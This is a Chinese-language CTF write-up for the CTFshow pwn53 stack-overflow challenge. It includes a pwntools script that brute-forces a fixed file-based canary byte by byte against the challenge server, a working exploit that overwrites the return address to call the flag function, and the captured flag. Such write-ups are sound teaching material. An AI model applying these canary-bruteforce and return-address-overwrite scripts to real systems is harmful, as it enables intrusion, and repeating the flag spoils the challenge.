CTFshow-PWN-栈溢出(pwn53)
再多一眼看一眼就会爆炸
还是 32 位程序
虽然没有检测到 canary 保护
但是在主函数中看到了 canary 函数
跟进看看
从文件中读取 4 个字节的 canary 值,存入 global_canary
我们再来看 ctfshow 函数:
canary 的值放到了 s1
nbytes 决定着我们的读入长度,并且这个值我们可控,那就可以溢出
最后会比较 s1 和 global_canary 是否一样,不一样就退出程序
说白了就是一个 canary 保护
只不过这个 canary 值是从文件里面读取的
因为这里没有打印栈上内容的操作,我们无法覆盖低字节来泄露 canary
但是由于它是从文件中读取的,所以 canary 实际上是一个固定的值
我们可以爆破 canary 的值,32 位程序的 canary 的大小是 4 个字节
爆破脚本:
# @author:My6n
# @time:20250611
from pwn import *context.log_level = 'error'
canary = b''for i in range(4):for b in range(256):try:io = remote('pwn.challenge.ctf.show', 28259)io.sendlineafter(">", "1000")io.sendafter("$ ", b"a" * 0x20 + canary + p8(b))if b"Where is the flag?" in io.recv(timeout=1):canary += p8(b)print(f"[+] Found byte {i}: {hex(b)}")breakexcept:passfinally:io.close()print(f"[+] Canary = {canary.hex()} ({canary})")
拿到 canary 的值:36D!
程序自带获取 flag 的函数
地址:0x8048696
接下来就可以写 exp 了:
填满 buf 填 canary(s1)
然后填 v5
然后填 ebp
然后就是返回地址了
# @author:My6n
# @time:20250611
from pwn import *
io = remote('pwn.challenge.ctf.show', 28259)
context.log_level = 'debug'
context.arch = 'i386'
canary = b'36D!'
io.sendlineafter(b'How many bytes do you want to write to the buffer?\n>',b'1000')
payload = flat(cyclic(0x20),canary,b'a'*0xc,0,0x08048696)
io.sendlineafter(b'$ ',payload)
io.interactive()
拿到 flag:ctfshow{de9d5faf-21d6-4317-becd-3b214681c7a2}